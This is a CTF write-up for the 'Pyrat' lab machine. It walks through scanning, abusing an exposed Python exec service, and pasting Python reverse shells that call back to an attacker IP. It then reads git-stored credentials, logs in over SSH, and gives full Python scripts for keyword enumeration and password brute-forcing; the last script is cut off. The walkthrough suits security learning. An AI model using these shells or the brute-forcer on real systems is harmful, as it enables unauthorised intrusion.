Dave Taylor
Authors
  • avatar
    Name
    Dave Taylor
    Twitter

Sections

Published on

Pyrat

Overview

Pyrat is a simple CTF focussed on exploiting a web server to obtain a shell on the machine and then escalating privileges to root.

Reconaissance

First of all let's find out what services are running and on which ports:

Terminal window
~ rustscan --ulimit 5000 -a pyrat.thm -- -sC -sV -Pn
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.66.180.105:22
Open 10.66.180.105:8000
[~] Starting Script(s)
35 collapsed lines
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sC -sV -Pn" on ip 10.66.180.105
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-20 11:39 GMT
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 11:39
Completed NSE at 11:39, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 11:39
Completed NSE at 11:39, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 11:39
Completed NSE at 11:39, 0.00s elapsed
Initiating SYN Stealth Scan at 11:39
Scanning pyrat.thm (10.66.180.105) [2 ports]
Discovered open port 8000/tcp on 10.66.180.105
Discovered open port 22/tcp on 10.66.180.105
Completed SYN Stealth Scan at 11:39, 0.11s elapsed (2 total ports)
Initiating Service scan at 11:39
Scanning 2 services on pyrat.thm (10.66.180.105)
Completed Service scan at 11:41, 169.25s elapsed (2 services on 1 host)
NSE: Script scanning 10.66.180.105.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 11:41
Completed NSE at 11:42, 8.57s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 11:42
Completed NSE at 11:42, 0.20s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 11:42
Completed NSE at 11:42, 0.00s elapsed
Nmap scan report for pyrat.thm (10.66.180.105)
Host is up, received user-set (0.091s latency).
Scanned at 2026-02-20 11:39:06 GMT for 178s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 1f:8e:52:f2:ab:13:48:4e:ee:bb:a3:9d:b1:be:ab:d7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC11bNyjEfvuoisDvoHdaXXyLE9BKK19QkWG7AXFWAmmhXImPZkkAk8RvXvedKWnfKIOT97C+2KDc+t8MR73DVrbBTsKRGgH6jVLcEc3o1NgMg5rxwScaer7+HCBQDbaOQGbH3RywBEvZdBRkua5DluNPBzJthStkNzW7SKbWfVDJpgv7b7ZE5UsjjvWsOKa+HSMKiz9h+hHw8/DGgrwTDE85iVUv2Q9j65B449QKrjlLL2+uDK1Ah8vQjbY/sR6S279aRJaHneyvLsG/Ml5sNd1SCIkUyoE8BrhCuC8afrfvvL6+20Gpl0XgwZQeIGjKwjMv5tC9ZKKYRa3Ismr9xhzG08DHNiejsUqo9s9m/Oa4vVLoi9fTk74PELcYVtA/2F2wVVOXTcsmOklD8jTtlcFONtoofr/QcYHWQRfiTT16thZ/eF+GD0QRA4FZEzVnlLtalvupP11FsYpoCzItyERtbWVp805pIyDrOqRYihO5a1CTN5NGyVdt5GerKFoK0=
| 256 e4:1c:f5:91:ad:64:0d:bf:0f:cc:9d:2b:05:23:2e:b3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJRAnlZ2hkff7hnkvHi1A8t8TdFbv2LhKsRRYiWVWF36jEbggNxdHlxdEpKxIZKKWLdY5K7sDkwcSVg1igCmYMA=
| 256 b9:4d:51:f0:d3:1b:24:96:2b:56:77:16:66:12:38:fa (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICgbD7JuFpADfPnOW7pQSd9wiwFwApjSpGQn4Ssw1Rpg
8000/tcp open http-alt syn-ack ttl 62 SimpleHTTP/0.6 Python/3.11.2
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-favicon: Unknown favicon MD5: FBD3DB4BEF1D598ED90E26610F23A63F
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop:
| source code string cannot contain null bytes
46 collapsed lines
| FourOhFourRequest, LPDString, SIPOptions:
| invalid syntax (<string>, line 1)
| GetRequest:
| name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| name 'OPTIONS' is not defined
| Help:
|_ name 'HELP' is not defined
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.95%I=7%D=2/20%Time=699847E6%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20defin
SF:ed\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain\x20
SF:null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<strin
SF:g>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20cannot\
SF:x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'\x20
SF:is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\x20n
SF:ot\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20string\x
SF:20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D,"sour
SF:ce\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Help,1
SF:B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"invalid\x
SF:20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"invalid\x20
SF:syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\x20cod
SF:e\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,2D,"so
SF:urce\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Java
SF:RMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\
SF:n")%r(afp,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20
SF:bytes\n")%r(giop,2D,"source\x20code\x20string\x20cannot\x20contain\x20n
SF:ull\x20bytes\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 11:42
Completed NSE at 11:42, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 11:42
Completed NSE at 11:42, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 11:42
Completed NSE at 11:42, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 178.74 seconds
Raw packets sent: 2 (88B) | Rcvd: 2 (88B)

We can see that the ssh is open, and port 8000 is running an http service.

The first step is to take a closer look at what is running on the http service, so we navigate to the site in Firefox:

Try a more basic connection

We will use netcat instead and see what we find from the terminal:

Terminal window
~ nc pyrat.thm 8000
help
ls
name 'ls' is not defined
int(a)
name 'a' is not defined
print(f"{2*2}")
4

It seems that we have direct control of a Python interpreter. This might allow us to pop a shell onto the machine very easily.

Popping a Shell

Using revshells.com we can quickly get hold of the command to pop a shell:

We find the first Python reverse shell command:

Python Reverse Shell 1

However as we are already in the Python interpreter we must modify the script a little bit:

import sys,socket,os,pty;
s=socket.socket();
s.connect(("192.168.141.169",4445));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")

We setup our listener on our attack machine:

Terminal window
~ nc -lvnp 4445
listening on [any] 4445 ...

And back in our nc connection to port 8000 we drop the script:

Terminal window
~ nc pyrat.thm 8000
import sys,socket,os,pty;
s=socket.socket();
s.connect(("192.168.141.169",4445));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")
[Errno 111] Connection refused

However this just seems to error closing the connection. Our listener just shows this:

Terminal window
~ nc -lvnp 4445
listening on [any] 4445 ...
connect to [192.168.141.169] from (UNKNOWN) [10.66.180.105] 34974
~

So let's try the second Python reverse shell from revshells.com:

Python Reverse Shell 2

Again we modify the script to run directly inside the Python interpreter:

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.141.169",4445));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
import pty;
pty.spawn("/bin/bash")

We launch our nc listener again:

Terminal window
~ nc -lvnp 4445
listening on [any] 4445 ...

And we paste this script into our nc connection to port 8080 on the victim's machine:

Terminal window
~ nc pyrat.thm 8000
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.141.169",4445));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
import pty; pty.spawn("/bin/bash");

This time our connection does not error out and on our nc listener we can see the connection and execute commands:

Terminal window
~ nc -lvnp 4445
listening on [any] 4445 ...
connect to [192.168.141.169] from (UNKNOWN) [10.66.180.105] 35950
bash: /root/.bashrc: Permission denied
www-data@ip-10-66-180-105:~$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ip-10-66-180-105:~$ ls
ls
ls: cannot open directory '.': Permission denied
www-data@ip-10-66-180-105:~$

Finding the user.txt flag

So manually looking around on the machine's filesystem we find some development work under /opt/dev/:

Terminal window
www-data@ip-10-66-180-105:~$ cd /opt
cd /opt
www-data@ip-10-66-180-105:/opt$ ls
ls
dev
www-data@ip-10-66-180-105:/opt$ cd dev
cd dev
www-data@ip-10-66-180-105:/opt/dev$ ls
ls
www-data@ip-10-66-180-105:/opt/dev$ ls -la
ls -la
total 12
drwxrwxr-x 3 think think 4096 Jun 21 2023 .
drwxr-xr-x 3 root root 4096 Jun 21 2023 ..
drwxrwxr-x 8 think think 4096 Jun 21 2023 .git
www-data@ip-10-66-180-105:/opt/dev$ cd .git
cd .git
www-data@ip-10-66-180-105:/opt/dev/.git$ ls -l
ls -l
total 44
drwxrwxr-x 2 think think 4096 Jun 21 2023 branches
-rw-rw-r-- 1 think think 21 Jun 21 2023 COMMIT_EDITMSG
-rw-rw-r-- 1 think think 296 Jun 21 2023 config
-rw-rw-r-- 1 think think 73 Jun 21 2023 description
-rw-rw-r-- 1 think think 23 Jun 21 2023 HEAD
drwxrwxr-x 2 think think 4096 Jun 21 2023 hooks
-rw-rw-r-- 1 think think 145 Jun 21 2023 index
drwxrwxr-x 2 think think 4096 Jun 21 2023 info
drwxrwxr-x 3 think think 4096 Jun 21 2023 logs
drwxrwxr-x 7 think think 4096 Jun 21 2023 objects
drwxrwxr-x 4 think think 4096 Jun 21 2023 refs
www-data@ip-10-66-180-105:/opt/dev/.git$ cat config
cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Jose Mario
email = josemlwdf@github.com
[credential]
helper = cache --timeout=3600
[credential "https://github.com"]
username = think
password = {REDACTED}
www-data@ip-10-66-180-105:/opt/dev/.git$

In the config file we find a username and password for a user called think.

We try and connect to SSH from our attack machine and are able to get a connection using these Github credentials:

Terminal window
~ ssh think@pyrat.thm
The authenticity of host 'pyrat.thm (10.66.180.105)' can't be established.
ED25519 key fingerprint is: SHA256:g8xekYDX7ye7aRHe0lWqrwYvpOEMeb7tVRjmKj72AFw
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'pyrat.thm' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
think@pyrat.thm's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-138-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Fri 20 Feb 2026 12:42:14 PM UTC
System load: 0.0 Processes: 116
Usage of /: 46.6% of 9.75GB Users logged in: 0
Memory usage: 11% IPv4 address for ens5: 10.66.180.105
Swap usage: 0%
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
22 updates can be applied immediately.
13 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Your Hardware Enablement Stack (HWE) is supported until April 2025.
You have mail.
Last login: Thu Jun 15 12:09:31 2023 from 192.168.204.1
think@ip-10-66-180-105:~$

Furthermore we are able to find the user.txt file:

Terminal window
think@ip-10-66-180-105:~$ ls
snap user.txt
think@ip-10-66-180-105:~$ cat user.txt
99{READACTED}705
think@ip-10-66-180-105:~$

Finding the root.txt flag

The next stage is to figure out how to escalate out privileges so that we can get to the root flag.

Within the /opt/dev directory we can see the current status of the source code:

Terminal window
think@ip-10-64-146-183:/opt/dev$ git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: pyrat.py.old
no changes added to commit (use "git add" and/or "git commit -a")

There seems to be a delete file called pyrat.py.old so let's have a look at the git log:

Terminal window
think@ip-10-64-146-183:/opt/dev$ git log
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date: Wed Jun 21 09:32:14 2023 +0000
Added shell endpoint

So perhaps we can reset the state of this project and recover the pyrat.py.old file:

Terminal window
think@ip-10-64-146-183:/opt/dev$ git reset --hard 0a3c36d66369fd4b07ddca72e5379461a63470bf
HEAD is now at 0a3c36d Added shell endpoint
think@ip-10-64-146-183:/opt/dev$ ls -l
total 4
-rw-rw-r-- 1 think think 753 Feb 22 11:01 pyrat.py.old

Great so now the file is back on the filesystem. Let's look at the contents:

think@ip-10-64-146-183:/opt/dev$ cat pyrat.py.old
...............................................
def switch_case(client_socket, data):
if data == 'some_endpoint':
get_this_enpoint(client_socket)
else:
# Check socket is admin and downgrade if is not aprooved
uid = os.getuid()
if (uid == 0):
change_uid()
if data == 'shell':
shell(client_socket)
else:
exec_python(client_socket, data)
def shell(client_socket):
try:
import pty
os.dup2(client_socket.fileno(), 0)
os.dup2(client_socket.fileno(), 1)
os.dup2(client_socket.fileno(), 2)
pty.spawn("/bin/sh")
except Exception as e:
send_data(client_socket, e
...............................................

So from the gist of this script we attempt to reconnect to the web service and pass the command shell and we instantly get a shell back:

Terminal window
~ nc pyrat.thm 8000
shell
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Unfortunately the shell is still owned by an unprivileged account. However from the code fragment it looks as though there must be another keyword that we can use to gain access as a privilieged user. So let's write a script that can enumerate based on a word list and find alternative keywords:

import socket
import argparse
import sys
import threading
from queue import Queue
DEFAULT_PORT = 8000
DEFAULT_KEYWORD_WORDLIST = "/usr/share/wordlists/seclists/Usernames/Names/names.txt"
DEFAULT_THREADS = 50
121 collapsed lines
def try_keyword(target, port, keyword, timeout=2):
"""Try a keyword and return the response."""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((target, port))
s.sendall((keyword + "\n").encode())
response = s.recv(1024).decode(errors="ignore").strip()
s.close()
return response
except socket.timeout:
return ""
except Exception:
return None
def worker(target, port, timeout, queue, interesting, lock, progress):
"""Thread worker - pull keywords from queue and test them."""
while True:
keyword = queue.get()
if keyword is None:
break
response = try_keyword(target, port, keyword, timeout)
with lock:
progress[0] += 1
count = progress[0]
total = progress[1]
if count % 10 == 0:
print(f"[*] Progress: {count:,}/{total:,} - Current: {keyword:<20}", end="\r")
if response is not None and "not defined" not in response and response != "":
interesting.append((keyword, response))
print(f"\n[+] Interesting keyword: '{keyword}'")
print(f" Response: {repr(response)}\n")
queue.task_done()
def enumerate_keywords(target, port, wordlist_path, threads, timeout):
"""Enumerate all keywords using a thread pool."""
print(f"[*] Enumerating keywords against {target}:{port}")
print(f"[*] Using keyword wordlist: {wordlist_path}")
print(f"[*] Threads: {threads} | Timeout: {timeout}s\n")
try:
with open(wordlist_path, "r", encoding="latin-1") as f:
keywords = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print(f"[-] Keyword wordlist not found at: {wordlist_path}")
sys.exit(1)
print(f"[*] Loaded {len(keywords):,} keywords to try...\n")
queue = Queue()
interesting = []
lock = threading.Lock()
progress = [0, len(keywords)] # [current, total]
# Start thread pool
thread_pool = []
for _ in range(threads):
t = threading.Thread(target=worker, args=(target, port, timeout, queue, interesting, lock, progress))
t.daemon = True
t.start()
thread_pool.append(t)
# Feed keywords into the queue
for keyword in keywords:
queue.put(keyword)
# Signal threads to stop when queue is empty
for _ in range(threads):
queue.put(None)
# Wait for all threads to finish
for t in thread_pool:
t.join()
# Summary
print(f"\n\n{'='*60}")
print(f"[*] Enumeration complete. {len(interesting)} interesting keyword(s) found:\n")
if interesting:
for keyword, response in interesting:
print(f" Keyword : {keyword}")
print(f" Response : {repr(response)}")
print()
else:
print(" None found - try a different wordlist.")
print('='*60)
def parse_args():
parser = argparse.ArgumentParser(
description="Pyrat service keyword enumerator",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
examples:
%(prog)s -t pyrat.thm
%(prog)s -t pyrat.thm -p 9000
%(prog)s -t pyrat.thm -K /path/to/keywords.txt
%(prog)s -t pyrat.thm --threads 100 --timeout 1
"""
)
parser.add_argument("-t", "--target", required=True, metavar="HOST",
help="Target host (e.g. pyrat.thm or 10.10.10.10)")
parser.add_argument("-p", "--port", type=int, default=DEFAULT_PORT, metavar="PORT",
help=f"Target port (default: {DEFAULT_PORT})")
parser.add_argument("-K", "--keyword-wordlist", default=DEFAULT_KEYWORD_WORDLIST, metavar="FILE",
help=f"Wordlist to enumerate (default: {DEFAULT_KEYWORD_WORDLIST})")
parser.add_argument("--threads", type=int, default=DEFAULT_THREADS, metavar="N",
help=f"Number of concurrent threads (default: {DEFAULT_THREADS})")
parser.add_argument("--timeout", type=float, default=2, metavar="SECS",
help="Socket timeout in seconds (default: 2)")
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
return parser.parse_args()
if __name__ == "__main__":
args = parse_args()
print(f"""
╔══════════════════════════════════════════╗
║ Pyrat Keyword Enumerator ║
╚══════════════════════════════════════════╝
Target : {args.target}:{args.port}
Wordlist: {args.keyword_wordlist}
Threads : {args.threads}
Timeout : {args.timeout}s
""")
enumerate_keywords(args.target, args.port, args.keyword_wordlist, args.threads, args.timeout)

So we save the above python script as enumerate_keywords.py and execute:

Terminal window
pyrat python enumerate_keywords.py -t pyrat.thm
╔══════════════════════════════════════════╗
Pyrat Keyword Enumerator
╚══════════════════════════════════════════╝
Target : pyrat.thm:8000
Wordlist: /usr/share/wordlists/seclists/Usernames/Names/names.txt
Threads : 50
Timeout : 2s
[*] Enumerating keywords against pyrat.thm:8000
[*] Using keyword wordlist: /usr/share/wordlists/seclists/Usernames/Names/names.txt
[*] Threads: 50 | Timeout: 2s
[*] Loaded 10,177 keywords to try...
[*] Progress: 50/10,177 - Current: adi
[+] Interesting keyword: 'admin'
Response: 'Password:'
45 collapsed lines
[*] Progress: 550/10,177 - Current: anne-lise
[+] Interesting keyword: 'anne marie'
Response: 'invalid syntax (<string>, line 1)'
[*] Progress: 1,960/10,177 - Current: clary
[+] Interesting keyword: 'class'
Response: 'invalid syntax (<string>, line 1)'
[*] Progress: 2,280/10,177 - Current: danila
[+] Interesting keyword: 'd'anne'
Response: 'EOL while scanning string literal (<string>, line 1)'
[*] Progress: 2,420/10,177 - Current: dedra
[+] Interesting keyword: 'dee dee'
Response: 'invalid syntax (<string>, line 1)'
[*] Progress: 2,430/10,177 - Current: deina
[+] Interesting keyword: 'del'
Response: 'invalid syntax (<string>, line 1)'
[*] Progress: 2,970/10,177 - Current: elinore
[+] Interesting keyword: 'else'
Response: 'invalid syntax (<string>, line 1)'
[*] Progress: 4,770/10,177 - Current: joan
[+] Interesting keyword: 'jo ann'
Response: 'invalid syntax (<string>, line 1)'
[*] Progress: 5,660/10,177 - Current: lavonda
[+] Interesting keyword: 'la verne'
Response: 'invalid syntax (<string>, line 1)'
[*] Progress: 6,840/10,177 - Current: minta
[+] Interesting keyword: 'miof mela'
Response: 'invalid syntax (<string>, line 1)'
[*] Progress: 8,670/10,177 - Current: shela
[+] Interesting keyword: 'shell'
Response: '$'
[*] Progress: 10,150/10,177 - Current: zoran
[+] Interesting keyword: 'zsa zsa'
Response: 'invalid syntax (<string>, line 1)'
[*] Progress: 10,170/10,177 - Current: zelda
============================================================
[*] Enumeration complete. 12 interesting keyword(s) found:
Keyword : admin
Response : 'Password:'
26 collapsed lines
Keyword : anne marie
Response : 'invalid syntax (<string>, line 1)'
Keyword : class
Response : 'invalid syntax (<string>, line 1)'
Keyword : d'anne
Response : 'EOL while scanning string literal (<string>, line 1)'
Keyword : dee dee
Response : 'invalid syntax (<string>, line 1)'
Keyword : del
Response : 'invalid syntax (<string>, line 1)'
Keyword : else
Response : 'invalid syntax (<string>, line 1)'
Keyword : jo ann
Response : 'invalid syntax (<string>, line 1)'
Keyword : la verne
Response : 'invalid syntax (<string>, line 1)'
Keyword : miof mela
Response : 'invalid syntax (<string>, line 1)'
Keyword : shell
Response : '$'
Keyword : zsa zsa
Response : 'invalid syntax (<string>, line 1)'
============================================================

We can ignore most of the responses as they are syntactical errors, however we do find an interesting keyword admin which then seems to prompt us for a password.

Therefore we extend the script to try and brute force the password when requested for one:

import socket
import argparse
import sys
import threading
from queue import Queue
DEFAULT_PORT = 8000
DEFAULT_KEYWORD_WORDLIST = "/usr/share/wordlists/seclists/Usernames/Names/names.txt"
DEFAULT_PASSWORD_WORDLIST = "/usr/share/wordlists/fasttrack.txt"
DEFAULT_THREADS = 50
268 collapsed lines
# Responses that look interesting but are just Python syntax/exec noise
IGNORE_RESPONSES = [
"invalid syntax",
"eol while scanning",
"unexpected eof",
"invalid token",
"cannot assign",
"not defined",
]
# Responses that confirm a successful password
SUCCESS_RESPONSES = ["$", "#", "welcome"]
def is_ignorable(response):
"""Return True if the response is just Python exec noise."""
lowered = response.lower()
return any(pattern in lowered for pattern in IGNORE_RESPONSES)
def is_successful(response):
"""Return True if the response looks like a successful login."""
lowered = response.lower()
return any(indicator in lowered for indicator in SUCCESS_RESPONSES)
def try_keyword(target, port, keyword, timeout=2):
"""Try a keyword and return the response."""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((target, port))
s.sendall((keyword + "\n").encode())
response = s.recv(1024).decode(errors="ignore").strip()
s.close()
return response
except socket.timeout:
return ""
except Exception:
return None
def try_password(target, port, keyword, password, timeout=2):
"""Connect, send keyword, wait for password prompt, send password."""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((target, port))
s.sendall((keyword + "\n").encode())
resp = s.recv(1024).decode(errors="ignore")
if "Password" not in resp:
s.close()
return None
s.sendall((password + "\n").encode())
resp2 = s.recv(1024).decode(errors="ignore").strip()
s.close()
return resp2
except socket.timeout:
return ""
except Exception:
return None
def brute_force_password(target, port, keyword, wordlist_path, threads, timeout):
"""Brute-force the password for a given keyword. Returns found password or None."""
print(f"\n[*] Pausing enumeration - brute-forcing password for keyword '{keyword}'...")
print(f"[*] Wordlist : {wordlist_path}")
print(f"[*] Threads : {threads} | Timeout: {timeout}s\n")
try:
with open(wordlist_path, "r", encoding="latin-1") as f:
passwords = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print(f"[-] Password wordlist not found at: {wordlist_path}")
return None
print(f"[*] Loaded {len(passwords):,} passwords to try...\n")
queue = Queue()
lock = threading.Lock()
progress = [0, len(passwords)]
found = [None]
def password_worker():
while True:
if found[0]:
queue.task_done()
break
password = queue.get()
if password is None:
queue.task_done()
break
response = try_password(target, port, keyword, password, timeout)
with lock:
progress[0] += 1
count = progress[0]
total = progress[1]
if count % 10 == 0:
print(f"[*] Progress: {count:,}/{total:,} - Current: {password:<20}", end="\r")
# Only flag as success if the response looks like a shell/welcome
# A re-prompt of 'Password:' means the password was wrong
if response is not None and is_successful(response):
if not found[0]:
found[0] = password
print(f"\n[!] Password found: '{password}'")
print(f" Response: {repr(response)}\n")
queue.task_done()
thread_pool = []
for _ in range(threads):
t = threading.Thread(target=password_worker)
t.daemon = True
t.start()
thread_pool.append(t)
for password in passwords:
if found[0]:
break
queue.put(password)
for _ in range(threads):
queue.put(None)
for t in thread_pool:
t.join()
if not found[0]:
print(f"\n[-] Password not found in wordlist.")
return found[0]
def enumerate_keywords(target, port, keyword_wordlist, password_wordlist, threads, timeout):
"""Enumerate all keywords, pausing to brute-force when a password prompt is found."""
print(f"[*] Enumerating keywords against {target}:{port}")
print(f"[*] Wordlist : {keyword_wordlist}")
print(f"[*] Threads : {threads} | Timeout: {timeout}s\n")
try:
with open(keyword_wordlist, "r", encoding="latin-1") as f:
keywords = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print(f"[-] Keyword wordlist not found at: {keyword_wordlist}")
sys.exit(1)
print(f"[*] Loaded {len(keywords):,} keywords to try...\n")
interesting = []
lock = threading.Lock()
progress = [0, len(keywords)]
pause_event = threading.Event()
pause_event.set()
brute_force_triggered = set()
def keyword_worker(queue):
while True:
keyword = queue.get()
if keyword is None:
queue.task_done()
break
pause_event.wait()
response = try_keyword(target, port, keyword, timeout)
with lock:
progress[0] += 1
count = progress[0]
total = progress[1]
if count % 10 == 0:
print(f"[*] Progress: {count:,}/{total:,} - Current: {keyword:<20}", end="\r")
if response is not None and response != "" and not is_ignorable(response):
interesting.append((keyword, response))
if "password" in response.lower() and password_wordlist \
and keyword not in brute_force_triggered:
brute_force_triggered.add(keyword)
pause_event.clear()
print(f"\n[+] Password prompt found for keyword: '{keyword}'\n")
do_brute_force = True
else:
print(f"\n[+] Interesting keyword: '{keyword}'")
print(f" Response: {repr(response)}\n")
do_brute_force = False
else:
do_brute_force = False
if do_brute_force:
result = brute_force_password(
target, port, keyword, password_wordlist, threads, timeout
)
if result:
print(f"\n[!] Success! Keyword: '{keyword}' | Password: '{result}'\n")
else:
print(f"\n[-] No password found for '{keyword}', try a larger wordlist.\n")
print(f"[*] Resuming keyword enumeration...\n")
pause_event.set()
queue.task_done()
queue = Queue()
thread_pool = []
for _ in range(threads):
t = threading.Thread(target=keyword_worker, args=(queue,))
t.daemon = True
t.start()
thread_pool.append(t)
for keyword in keywords:
queue.put(keyword)
for _ in range(threads):
queue.put(None)
for t in thread_pool:
t.join()
print(f"\n\n{'='*60}")
print(f"[*] Enumeration complete. {len(interesting)} interesting keyword(s) found:\n")
if interesting:
for keyword, response in interesting:
print(f" Keyword : {keyword}")
print(f" Response : {repr(response)}")
print()
else:
print(" None found - try a different wordlist.")
print('='*60)
def parse_args():
parser = argparse.ArgumentParser(
description="Pyrat service keyword enumerator and password brute-forcer",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
examples:
%(prog)s -t pyrat.thm
%(prog)s -t pyrat.thm -p 9000
%(prog)s -t pyrat.thm -k admin
%(prog)s -t pyrat.thm -k admin -P /usr/share/wordlists/rockyou.txt
%(prog)s -t pyrat.thm -K /path/to/keywords.txt -P /path/to/passwords.txt
%(prog)s -t pyrat.thm --threads 100 --timeout 1
%(prog)s -t pyrat.thm --no-bruteforce
"""
)
parser.add_argument("-t", "--target", required=True, metavar="HOST",
help="Target host (e.g. pyrat.thm or 10.10.10.10)")
parser.add_argument("-p", "--port", type=int, default=DEFAULT_PORT, metavar="PORT",
help=f"Target port (default: {DEFAULT_PORT})")
parser.add_argument("-k", "--keyword", default=None, metavar="KEYWORD",
help="Skip keyword enumeration and brute-force this keyword directly")
parser.add_argument("-K", "--keyword-wordlist", default=DEFAULT_KEYWORD_WORDLIST, metavar="FILE",
help=f"Wordlist for keyword enumeration (default: {DEFAULT_KEYWORD_WORDLIST})")
parser.add_argument("-P", "--password-wordlist", default=DEFAULT_PASSWORD_WORDLIST, metavar="FILE",
help=f"Wordlist for password brute-force (default: {DEFAULT_PASSWORD_WORDLIST})")
parser.add_argument("--no-bruteforce", action="store_true",
help="Disable password brute-forcing entirely (keyword enumeration only)")
parser.add_argument("--threads", type=int, default=DEFAULT_THREADS, metavar="N",
help=f"Number of concurrent threads (default: {DEFAULT_THREADS})")
parser.add_argument("--timeout", type=float, default=2, metavar="SECS",
help="Socket timeout in seconds (default: 2)")
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
